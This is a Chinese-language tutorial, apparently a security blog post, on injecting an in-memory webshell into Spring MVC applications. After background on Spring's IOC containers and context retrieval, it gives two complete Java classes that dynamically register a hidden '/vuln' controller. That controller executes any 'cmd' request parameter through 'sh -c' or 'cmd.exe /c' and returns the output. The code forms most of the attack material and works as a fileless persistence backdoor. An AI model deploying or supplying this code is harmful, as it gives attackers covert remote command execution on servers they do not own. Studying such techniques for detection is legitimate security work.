前言
Spring是一个开源容器框架,其核心就是控制反转(IOC)和面向切面(AOP)。Spring作为Java框架,核心组件为Core、Context和Bean,使用Spring的主要一个原因就是Spring会把对象之间的依赖关系转而用配置文件来管理,也就是依赖注入机制。
- Bean组件:Bean是Spring核心中的重点,Bean组件在Spring的org.springframework.beans包下,在这个包下的所有类主要解决了3件事,Bean的定义、创建及解析。
- Context组件:Context又叫IOC容器,Context组件在Spring的org.springframework.context包下,给Spring提供一个运行时的环境,用于保存各个对象的状态。
- Core组件:Core为处理对象间关系的方法,作为Spring的核心组件,其中包含了很多关键类,例如,定义资源的访问方式。
SpringMVC是一种WEB层MVC框架,用于替代Servlet。在SpringMVC框架中,DispatcherServlet负责分发请求到控制器Controller进行处理,Controller则把用户的请求数据经过业务层处理后封装成一个ModelAndView对象,然后再把该对象返回给对应的View进行展示。在SpringMVC中定义一个Controller是非常简单的,不需要继承特定的类,也不需要实现相关接口,只需使用@Controller注解在一个类上进行标记即可。然后使用@RequestMapping等一些注解用定义URL请求和映射,这样Controller就能被访问。
而Spring内存马一般的构造方式就是模拟组件注册,从而来注入恶意组件,Spring Controller型内存马就是通过动态注册Controller来实现的。
环境搭建
新建Spring项目,设置Server URL为https://start.aliyun.com/。

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.example.springmemoryshell.demos.web;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class TestController { @ResponseBody @RequestMapping("/") public String index() { return "Hello Contoller..."; } }
|
过程分析
注册Context
在之前分析Tomcat型内存马和中间件型内存马时,要成功打入内存马,一个很重要的点就是先获取当前运行环境的上下文,在Spring应用中可以同时有多个Context,但其中只有一个Root Context,其余的均为Child Context,所有Child Context都可以访问在Root Context中定义的Bean,但是Root Context无法访问Child Context中定义的Bean,并且所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。
Root Context
- ContextLoader#getCurrentWebApplicationContext方法,Root Context是由ContextLoaderListener触发监听后ContextLoader所创建,因此,ContextLoader类中也相应的获取方法,即getCurrentWebApplicationContext方法。

- WebApplicationContextUtils#getWebApplicationContext方法,由于所有的Context在创建后,都会被作为一个属性添加到了ServletContext中,因此,可以借助servletContext来获取Root Context。

- ApplicationContext#getAttribute,ApplicationContext实现了ServletContext接口,getAttribute方法通过传入名称来获取上下文。

Child Context
- RequestContextUtils#getWebApplicationContext:,在request中存放着Child Context,因此可以借助request来获取Child Context,但是在较新Spring版本中已没有getWebApplicationContext方法。
- Request#getAttribute,同样是借助request来获取Child Context,不过这里利用的是getAttribute方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); filed.setAccessible(true); org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
|
注册Controller
- Spring 2.5开始到Spring 3.1之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器
- Spring 3.1开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解
在org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping中存在方法registerMapping,其会调用父类的registerMapping方法,然后调用register方法完成注册。



注册流程
在registerMapping方法中存在三个参数,分别为handler、method和mapping。
- handler:需要构造的controller对应的类
- method:需要注册的controller中的方法
- mapping:RequestMappingInfo类型的,设置Controller的一些请求参数的,若没有特殊要求全填null即可
java
// handler
InjectToController injectToController = new InjectToController();
// method
Method method = InjectToController.class.getMethod(“vuln”);
// mapping
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
应用
思路
动态注册Spring Controller内存马的具体思路如下:
- 获取Context
- 获取RequestMappingHandlerMapping
- 获取MappingRegistry属性
- 构造RequestMappingInf
- 调用MappingRegistry#register方法注册Controller
动态注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package com.example.springmemoryshell.demos.web;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner;
@Controller
public class SpringControllerMemShell1 { @ResponseBody @RequestMapping(value = "/inject", method = RequestMethod.GET) public void TestController() throws Exception { WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method vulnMethod = VulnController.class.getMethod("cmd"); PatternsRequestCondition url = new PatternsRequestCondition("/vuln"); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null); VulnController vulnController = new VulnController(); mappingHandlerMapping.registerMapping(info, vulnController, vulnMethod); }
@ResponseBody public class VulnController { public VulnController() { }
public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package com.example.springmemoryshell.demos.web;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner;
@Controller
public class SpringControllerMemShell2 { @ResponseBody @RequestMapping(value = "/inject2", method = RequestMethod.GET) public void SpringControllerMemShell2() { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method vulnMethod = VulnController2.class.getMethod("exp"); RequestMappingInfo info = RequestMappingInfo.paths("/vuln") .options(config) .build(); VulnController2 vulnController = new VulnController2(); mappingHandlerMapping.registerMapping(info, vulnController, vulnMethod); } catch (Exception e) { e.printStackTrace(); } }
@ResponseBody public class VulnController2 { public VulnController2() { }
public void exp() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
